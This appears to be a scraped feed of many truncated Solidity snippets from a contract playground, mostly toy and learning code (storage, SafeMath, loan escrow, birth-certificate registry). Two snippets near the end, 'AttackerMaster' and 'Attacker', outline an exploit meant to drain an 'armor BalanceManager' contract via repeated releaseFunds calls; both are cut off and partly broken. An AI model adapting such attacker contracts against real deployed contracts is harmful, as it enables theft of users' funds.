        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 *
Mar 12, 2021 20:45:25 UTC
pragma solidity ^0.4.17;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 *
Mar 12, 2021 20:36:14 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

 uint256 number;

    /**
     * @dev Store value in variable
     * @param num value to store
     */
    function buy(uint256 num) public {
        number = number + 1;
    }

    /**
     * @dev Return value 
     * @return value of 'number'
     */
    function get() public view returns (uint256){
        return number;
    }
  uint value;
Mar 12, 2021 05:15:41 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract A {
    B b;

    function setB(B addr) public { b = addr; }

    function foo() public returns (string) {
        uint y = b.bar.gas(1)();
        assert(y == 0);
        return "Hello World";
    }
}

contract B {
    function bar() public pure returns (uint) {
        while(true) { }
        return 1;
    }
Mar 11, 2021 22:59:34 UTC
pragma solidity ^0.4.18;

contract ZombieFactory {

    uint dnaDigits = 16;
    uint dnaModulus = 10 ** dnaDigits;

    struct Zombie {
        string name;
        uint dna;
    }

    Zombie[] public zombies;

    function _createZombie(string _name, uint _dna) private {
        zombies.push(Zombie(_name, _dna));
    } 

    function _generateRandomDna(string _str) private view returns (uint) {
         uint rand = uint(keccak256(_str));
         return rand % dnaModulus;
         
    }

Mar 11, 2021 00:38:37 UTC
pragma solidity ^0.5.9;

contract Examen {
    
    uint8 constant public minNota = 4;
    
    struct Alumno {
        bool corregido;
        bool aprobado;
        uint8 nota;
    }
    
    address public owner;
    
    mapping (address => Alumno) public alumnos;
    
    constructor () public {
        owner = msg.sender;
    }
    
    function ponerNota(address idAlumno, uint8 nota) public {
        require(msg.sender == owner);
        alumnos[idAlumno].corregido = true;
        alumnos[idAlumno].nota = nota;
        if (alumnos[idAlumno].nota >= minNota) {
            alumnos[idAlumno].aprobado = true;
        }
    }       
Mar 10, 2021 16:09:17 UTC
pragma solidity ^0.5.9;

contract Examen {
    
    uint8 constant public minNota = 4;
    
    struct Alumno {
        bool corregido;
        bool aprobado;
        uint8 nota;
    }
    
    address public owner;
    
    mapping (address => Alumno) public alumnos;
    
    constructor () public {
        owner = msg.sender;
    }
    
    function ponerNota(address idAlumno, uint8 nota) public {
        require(msg.sender == owner);
        alumnos[idAlumno].corregido = true;
        alumnos[idAlumno].nota = nota;
        if (alumnos[idAlumno].nota >= minNota) {
            alumnos[idAlumno].aprobado = true;
        }
    }
    
    
    
        
Mar 10, 2021 16:08:46 UTC
║     HOT BALANCE    │ DISCOUNT ║
     * ╠════════════════════╪══════════╣
     * ║     0 <= x < 10000 │     0%   ║
     * ╟────────────────────┼──────────╢
     * ║ 10000 <= x < 20000 │    10%   ║
     * ╟────────────────────┼──────────╢
     * ║ 20000 <= x < 30000 │    20%   ║
     * ╟────────────────────┼──────────╢
     * ║ 30000 <= x < 40000 │    30%   ║
     * ╟────────────────────┼──────────╢
     * ║ 40000 <= x         │    40%   
Mar 07, 2021 14:33:44 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Mar 07, 2021 10:32:34 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract Token {
  function totalSupply() constant returns (uint256 supply){}


Mar 07, 2021 09:48:32 UTC
pragma solidity >=0.4.0 <0.7.0;

contract Marriage {
	enum State{Continues, Divorced}
	State public state;
    uint proposaled_at;
	uint divorced_at;
    string giving_the_ring;
    string taking_the_ring;
    string witness1;
    string witness2;
    
    constructor(string _giving_the_ring, string _taking_the_ring, string _witness1, string _witness2) public{
		state = State.Continues;
		giving_the_ring = _giving_the_ring;
        taking_the_ring = _taking_the_ring;
		witness1 = _witness1;
		witness2 = _witness2;
		proposaled_at = now;
    }

    function divorce() public {
		state = State.Divorced;
        divorced_at = now; 
    }

    function marriage_summary() public view returns (string) {
		if (state == State.Continues){
			return string(abi.encodePacked("!!CONTINUES!! ", giving_the_ring, " -> ", taking_the_ring," time: ",  uint2str(proposaled_at)));
		}
		return string(abi.encodePacked("!!DIVORCED!! ", giving_the_ring, " -> ", taking_the_ring, " time: ",  uint2str(proposaled_at), " divorced at: ",  u
Mar 06, 2021 19:06:57 UTC
// contracts/GameItem.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";

contract Runner is ERC721 {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;

    constructor() public ERC721("Runner", "RNR") {}

    function awardItem(address player, string memory tokenURI)
        public
        returns (uint256)
    {
        _tokenIds.increment();

        uint256 newItemId = _tokenIds.current();
        _mint(player, newItemId);
        _setTokenURI(newItemId, tokenURI);

        return newItemId;
    }
Mar 06, 2021 13:41:58 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string time;
    string email;
    string location;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) bc;
  mapping (uint=>address) hospitalAddr;
  mapping (uint=>address) muncipalityAddr;
  mapping (uint=>bool) status;
  mapping (address=>bool) isHospital;
  mapping (address=>bool) isMuncipality;
Mar 05, 2021 19:09:12 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    // string time;
    string email;
    string location;
    // address hospitalAddr;
    // address muncipalityAddr;
    // bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) bc;
  mapping (uint=>address) hospitalAddr;
  mapping (uint=>address) muncipalityAddr;
  mapping (uint=>bool) st
Mar 05, 2021 18:57:15 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.0;
contract greeter {
address owner;
string greeting;
function greeter(string _greeting) public {
greeting = _greeting;
owner = msg.sender;
}
function kill () public
{ if (msg.sender == owner) selfdestruct(owner);
}
function greet () public constant returns (string) 
{
return greeting;
}
Mar 04, 2021 13:08:43 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Mar 02, 2021 11:20:16 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string time;
    string email;
    string location;
    address hospitalAddr;
    address muncipalityAddr;
    bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) bc;
  mapping (address=>bool) isHospital;
  mapping (address=>bool) isMuncipality;
  mapping (bytes32=>uint) verifyedBc;
  
Mar 02, 2021 09:39:00 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Feb 28, 2021 18:31:48 UTC
pragma solidity 0.5.16;

interface IERC20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the token decimals.
   */
  function decimals() external view returns (uint8);

  /**
   * @dev Returns the token symbol.
   */
  function symbol() external view returns (string memory);

  /**
  * @dev Returns the token name.
  */
  function name() external view returns (string memory);

  /**
   * @dev Returns the bep token owner.
   */
  function getOwner() external view returns (address);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
   * @dev Moves `amount` tokens from the caller's account to `recipient`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address recipient, uint256 amount) external returns (bool);

  /**
   * 
Feb 27, 2021 00:08:10 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }f
  

  uint value;
Feb 24, 2021 04:28:00 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
    appple
  }

  uint value;
Feb 24, 2021 03:44:09 UTC
pragma solidity ^0.4.18;

contract Gastoken {
    function free(uint256 value) public returns (bool success);
    function freeUpTo(uint256 value) public returns (uint256 freed);
    function freeFrom(address from, uint256 value) public returns (bool success);
    function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}

contract Example {

    // This function consumes a lot of gas
    function expensiveStuff() private pure {
        /* lots of expensive stuff */
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong to this Example contract. The gas refund can pay
     * for up to half of the gas cost of the total transaction in which this 
     * call occurs.
     */
    function burnGasAndFree(address gas_token, uint256 free) public {
        require(Gastoken(gas_token).free(free));
        expensiveStuff();
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong
Feb 20, 2021 22:56:24 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint256 _tranferBurnRate) public {
    //require(_tranferBurnRate <= 100, "Burning Rate on Transfer cannot be more than 100%");
    transferBurnRate = _tranferBurnRate;
  }

  function burnratePrecentage() public constant returns (uint256) {
    return transferBurnRate;
  }

  function transferafterburn() public view returns (uint256) {
    amount = 1000;
    uint256 _burntAmount = amount * transferBurnRate / 100;
    amount = amount - _burntAmount;
    return amount;
  }

  uint256 amount;
  uint256 transferBurnRate;
Feb 17, 2021 12:08:51 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint256 _tranferBurnRate) public {
    //require(_tranferBurnRate <= 100, "Burning Rate on Transfer cannot be more than 100%");
    transferBurnRate = _tranferBurnRate;
  }

  function get() public constant returns (uint256) {
    return transferBurnRate;
  }

  function transferafterburn() public view returns (uint256) {
    amount = 1000;
    uint256 _burntAmount = amount * transferBurnRate / 100;
    amount = amount - _burntAmount;
    return amount;
  }

  uint256 amount;
  uint256 transferBurnRate;
Feb 17, 2021 12:03:48 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint256 _tranferBurnRate) public {
    //require(_tranferBurnRate <= 100, "Burning Rate on Transfer cannot be more than 100%");
    transferBurnRate = _tranferBurnRate;
  }

  function get() public constant returns (uint256) {
    return transferBurnRate;
  }

  function amounts() public view returns (uint256) {
    amount = 1000;
    uint256 _burntAmount = amount * transferBurnRate / 100;
    amount = amount - _burntAmount;
    return amount;
  }

  uint256 amount;
  uint256 transferBurnRate;
Feb 17, 2021 12:01:59 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address public gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string location;
    address hospitalAddr;
    address muncipalityAddr;
    bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) public bc;
  mapping (address=>bool) public isHospital;
  mapping (address=>bool) public isMuncipality;
  mapping (bytes32=>uint) verifyedBc;
  
  /****
Feb 15, 2021 07:01:15 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IFastLoan {
    
    event LoanRequestSubmitted(address, uint256, uint256);
    //NOTE: can add more even emitter for other functions 
    
    event LenderRegistered(address);
    
    event LoanRequestApproved(address, uint256);
    
    event LoanPaymentRecorded(uint256);
    
    /**
     * @dev register lender.
	 */
    function registerLender(address _lender) external; 

	/**
	 * @dev create and submit request.
	 */
    function submitLoanRequest(address payable _borrower, uint256 _amount, uint256 _projectId, string memory _projectTitle) external; 
                        //, uint _projectDuration) external;

	
	/**
	 * @dev approve submitted request. Should be done by the superValidator or delegated validator
	 **/
	function approveLoanRequest(bytes32 _requestId, address payable _lender, 
	                            uint8 _numberOfInstallments) external;
	                           
	
	/**
	 * @dev record the payments of the loans by 
Feb 14, 2021 04:12:15 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import './IFastLoan.sol';

contract FastLoanEscrow is IFastLoan {
    
    struct LoanRequest {
		address payable borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address payable lender;
		address payable borrower;
		uint256 amount;
		uint256 afterInterestBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint8 requiredNofInstallments; 
		uint8 remainingNofInstallments;
		bool isClosed;
	}
	
	mapping(address => uint256) public lenderWithdrawals;
	
	mapping(address => uint256) private lenderDepositInEscrow; 
	
	uint256 public escrowBalance; 
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private
Feb 14, 2021 03:58:21 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import './IFastLoan.sol';

contract FastLoanEscrow is IFastLoan {
    
    struct LoanRequest {
		address payable borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address payable lender;
		address payable borrower;
		uint256 amount;
		uint256 afterInterestBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint8 numberOfInstallments; 
		bool isClosed;
	}
	
	mapping(address => uint256) public lenderWithdrawals;
	
	mapping(address => uint256) private lenderDepositInEscrow; 
	
	uint256 public escrowBalance; 
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private loanDB;

	// Aggregate Lenders info
Feb 14, 2021 00:18:31 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import './IFastLoan.sol';

contract FastLoanEscrow is IFastLoan {
    
    struct LoanRequest {
		address payable borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address payable lender;
		address payable borrower;
		uint256 amount;
		uint256 afterInterestBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint8 numberOfInstallments; 
		bool isClosed;
	}
	
	mapping(address => uint256) public lenderWithdrawals;
	
	mapping(address => uint256) private lenderDepositInEscrow; 
	
	uint256 public escrowBalance; 
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private loanDB;

	// Aggregate Lenders info
Feb 13, 2021 22:56:45 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import './EscrowLoan.sol';

contract FastLoan {
    // consider using access control from openzepplin for Escrow part.

    
    struct LoanRequest {
		address payable borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address payable lender;
		address payable borrower;
		uint256 amount;
		uint256 currentBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint numberOfInstallments; 
		bool isClosed;
	}
	
	EscrowLoan escrowContract;
	
	 mapping(address => uint256) public lenderDeposits;
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private loanDB;
	
    //private fixedInterestRate = (5 / 100);
   
Feb 12, 2021 04:29:53 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    // consider using access control from openzepplin for Escrow part.

    
    struct LoanRequest {
		address borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address lender;
		address borrower;
		uint256 amount;
		uint256 currentBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint numberOfInstallments; 
		bool isClosed;
	}
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private loanDB;
	
    //private fixedInterestRate = (5 / 100);
    //uint private fixedInterestRate = (5 / 100); 
	
	// Aggregate Lenders info
	address[] private allLenders;

	// Aggregate borrowers' inf
Feb 11, 2021 07:16:05 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    // consider using access control from openzepplin for Escrow part.

    
    struct LoanRequest {
		address borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address lender;
		address borrower;
		uint256 amount;
		uint256 currentBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint numberOfInstallments; 
		bool isClosed;
	}
	
// 	struct CreditHistoryOracle{
// 	    uint creditScore;
// 	    uint dateCreditScoreReceived;
// 	}
	
// 	mapping (address => CreditHistoryOracle) private borroweCreditHistory;
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private loanDB;
	
    
Feb 11, 2021 06:05:41 UTC
pragma solidity ^0.4.24;

contract PrivateAPIContract {

	string public result;

	function TestURLBuilder(string apiKey, uint _time, string _ticker, uint _days) {

        // result = uintToString(12345678901234567890);
        result = string(abi.encodePacked("https://www.okex.com/v3/chainlink-midlayer/pc/public/implied-volatility?underlying=", _ticker, "&t="));
        result = appendUintToString(result, _time);
        result = string(abi.encodePacked(result,"&days="));
        result = appendUintToString(result, _days);
        result = string(abi.encodePacked(result,"&apiKey=", apiKey));
    }

	function uintToString(uint v) constant returns (string str) {
        uint maxlength = 100;
        bytes memory reversed = new bytes(maxlength);
        uint i = 0;
        while (v != 0) {
            uint remainder = v % 10;
            v = v / 10;
            reversed[i++] = byte(48 + remainder);
        }
        bytes memory s = new bytes(i);
        for (uint j = 0; j < i; j++) {
            s[j] = reverse
Feb 10, 2021 15:03:42 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    
    // consider using access control from openzepplin for Escrow part.

    
    struct LoanRequest {
		address borrower;
		uint projectID;
        string projectTitle;
		uint projectDuration;
		uint amount;
        
		//uint bonus;
		//uint certifications -offchain;
		//string description - offchain;
	}
	
	struct Loan {
	    //uint id;
	    
	    uint projectID;
		address lender;
		address borrower;
		uint amount;
		uint interestAmount; 
		uint paymentEndTime;
		uint numberOfInstallments; 
		bool isClosed;

		//uint certTarget; // Target number of certifications
		//uint curCert; // Current number of certifications
		//string description;
	}
	
	struct CreditHistoryOracle{
	    uint creditScore;
	    uint dateCreditScoreReceived;
	}
	
	mapping (address => CreditHistoryOracle) borroweCreditHistory;
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] public request
Feb 10, 2021 04:21:59 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    
    // consider using access control from openzepplin for Escrow part.
    
    
    
    
    struct LoanRequest {
		address borrower;
		uint projectID;
        string projectTitle;
		uint projectDuration;
		uint amount;
        
		//uint bonus;
		//uint certifications -offchain;
		//string description - offchain;
	}
	
	struct Loan {
	    uint id;
		address lender;
		address borrower;
		uint amount;
		uint endTime;
		uint interest;
		uint projectID;
		string projectTitle;
		//uint certTarget; // Target number of certifications
		//uint curCert; // Current number of certifications
		//string description;
		bool done;
	}
	
	struct CreditHistoryOracle{
	    uint creditScore;
	    uint dateCreditScoreReceived;
	}
	
	mapping (address => CreditHistoryOracle) borroweCreditHistory;
	
	// Request info
	bytes32[] public requestIDs;
	mapping(bytes32 => LoanRequest) public requests;
	
	// Loan info. // one loan per user.
	mapping(address 
Feb 10, 2021 02:34:02 UTC
pragma solidity ^0.4.24;

contract A {

	string public result;

	function TestURLBuilder(uint _time, string _ticker, uint _days) {

        // result = uintToString(12345678901234567890);
        result = string(abi.encodePacked("https://www.okex.com/v3/chainlink-midlayer/pc/public/implied-volatility?underlying=", _ticker, "&t="));
        result = appendUintToString(result, _time);
        result = string(abi.encodePacked(result,"&days="));
        result = appendUintToString(result, _days);
    }

	function uintToString(uint v) constant returns (string str) {
        uint maxlength = 100;
        bytes memory reversed = new bytes(maxlength);
        uint i = 0;
        while (v != 0) {
            uint remainder = v % 10;
            v = v / 10;
            reversed[i++] = byte(48 + remainder);
        }
        bytes memory s = new bytes(i);
        for (uint j = 0; j < i; j++) {
            s[j] = reversed[i - 1 - j];
        }
        str = string(s);
    }

    function appendUintToString(string inStr, 
Feb 09, 2021 20:35:08 UTC
pragma solidity 0.8.0;

/*
    This contract will be the new Master contract.
    Since a successful exploit requires the BalanceManager to call the function getModule(),
    this contract serves only to return the malicious attack contract.
*/
contract AttackerMaster {
    
    // The contract where the attack exploit lays (attacker.sol, https://ethfiddle.com/sadCsoPiJV)
    address attackAddress;
    
    
    function getModule(bytes32 _key) external returns(address) {
        returns(attackAddress);
    }
    
    constructor(address attackAddress_) {
        attackAddress = attackAddress_;
    }
Feb 09, 2021 19:12:11 UTC
pragma solidity 0.8.0;

interface ArmorBalanceManager {
    function releaseFunds() external;
}

contract Attacker {
    
    // Make sure that only the hacker can call this malicious contract
    modifier onlyOwner() {
        require(owner == msg.sender);
        _;
    }
    
    address armorBalanceManagerAddress;
    address owner;
    
    // The rewardBalance state of the BalanceManager contract
    uint rewardBalance;
    
    // The govBalance state of the BalanceManager contract
    uint govBalance;
    
    // Create the contract with the address (armor BalanaceManager contract) and the rewardBalance of the armor BalanceManager
    constructor(address armorBalanceManagerAddress_, uint rewardBalance_, uint govBalance_) {
        armorBalanceManagerAddress = armorBalanceManagerAddress_;
        rewardBalance = rewardBalance_;
        govBalance = govBalance_;
        owner = msg.sender;
    }
    
    /*
        Attack the armor contract by calling releaseFunds until the contract is empty.
        Th
Feb 09, 2021 14:46:47 UTC
pragma solidity 0.8.0;

interface ArmorBalanceManager {
    function releaseFunds() external;
}

contract Attacker {
    
    // Make sure that only the hacker can call this malicious contract
    modifier onlyOwner() {
        require(owner == msg.sender);
        _;
    }
    
    address armorBalanceManagerAddress;
    address owner;
    
    // The rewardBalance state of the BalanceManager contract
    uint rewardBalance;
    
    // The govBalance state of the BalanceManager contract
    uint govBalance;
    
    // Create the contract with the address (armor BalanaceManager contract) and the rewardBalance of the armor BalanceManager
    constructor(address armorBalanceManagerAddress_, uint rewardBalance_, uint govBalance_) {
        armorBalanceManagerAddress = armorBalanceManagerAddress_;
        rewardBalance = rewardBalance_;
        govBalance = govBalance_;
        owner = msg.sender;
    }
    
    /*
        Attack the armor contract by calling releaseFunds until the contract is empty.
        Th
Feb 09, 2021 14:45:53 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    
    // consider using access control from openzepplin for Escrow part.
    
    
    struct LoanRequest {
		address borrower;
		uint amount;
		uint projectID;
		string projectTitle;
		uint projectDuration;
		uint bonus;
		//uint certifications -offchain;
		//string description - offchain;
	}
	
	struct Loan {
		address lender;
		address borrower;
		uint amount;
		uint endTime;
		uint interest;
		uint projectID;
		string projectTitle;
		//uint certTarget; // Target number of certifications
		//uint curCert; // Current number of certifications
		//string description;
		bool done;
	}
	
	struct CreditHistoryOracle{
	    
	    uint creditScore;
	    uint dateCreditScoreReceived;
	}
	
	mapping (address => CreditHistoryOracle) borroweCreditHistory;
	
	// Request info
	bytes8[] public requestIDs;
	mapping(bytes8 => LoanRequest) public requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) public userLoan;
	mapping(
Feb 09, 2021 03:54:39 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    
    // consider using access control from openzepplin for Escrow part.
    


    struct LoanRequest {
		address borrower;
		uint amount;
		uint projectID;
		string projectTitle;
		uint projectDuration;
		uint bonus;
		//uint certifications -offchain;
		//string description - offchain;
	}
	
	struct Loan {
		address lender;
		address borrower;
		uint amount;
		uint endTime;
		uint interest;
		uint projectID;
		string projectTitle;
		//uint certTarget; // Target number of certifications
		//uint curCert; // Current number of certifications
		//string description;
		bool done;
	}
	
	struct CreditHistory{
	    
	    uint creditScore;
	    uint dateCreditScoreReceived;
	}
	
	mapping (address => CreditHistory) borroweCreditHistory;
	
	
	    
	
	

	
	
	
	
Feb 09, 2021 03:16:07 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    
    // consider using access control from openzepplin for Escrow part.
    
    
    struct LoanRequest {
		address borrower;
		uint amount;
		uint projectID;
		string projectTitle;
		uint projectDuration;
		uint bonus;
		//uint certifications -offchain;
		//string description - offchain;
	}
	
	struct Loan {
		address lender;
		address borrower;
		uint amount;
		uint endTime;
		uint interest;
		uint projectID;
		string projectTitle;
		//uint certTarget; // Target number of certifications
		//uint curCert; // Current number of certifications
		//string description;
		bool done;
	}
	
	struct CreditHistory{
	    
	    uint creditScore;
	    uint dateCreditScoreReceived;
	}
	
	mapping (address => CreditHistory) borroweCreditHistory;
	
	
	    
	
	

	
	
	
	
Feb 09, 2021 03:15:14 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address public gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string location;
    address hospitalAddr;
    address muncipalityAddr;
    bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) public bc;
  mapping (address=>bool) public isHospital;
  mapping (address=>bool) public isMuncipality;
  mapping (bytes32=>uint) verifyedBc;
  
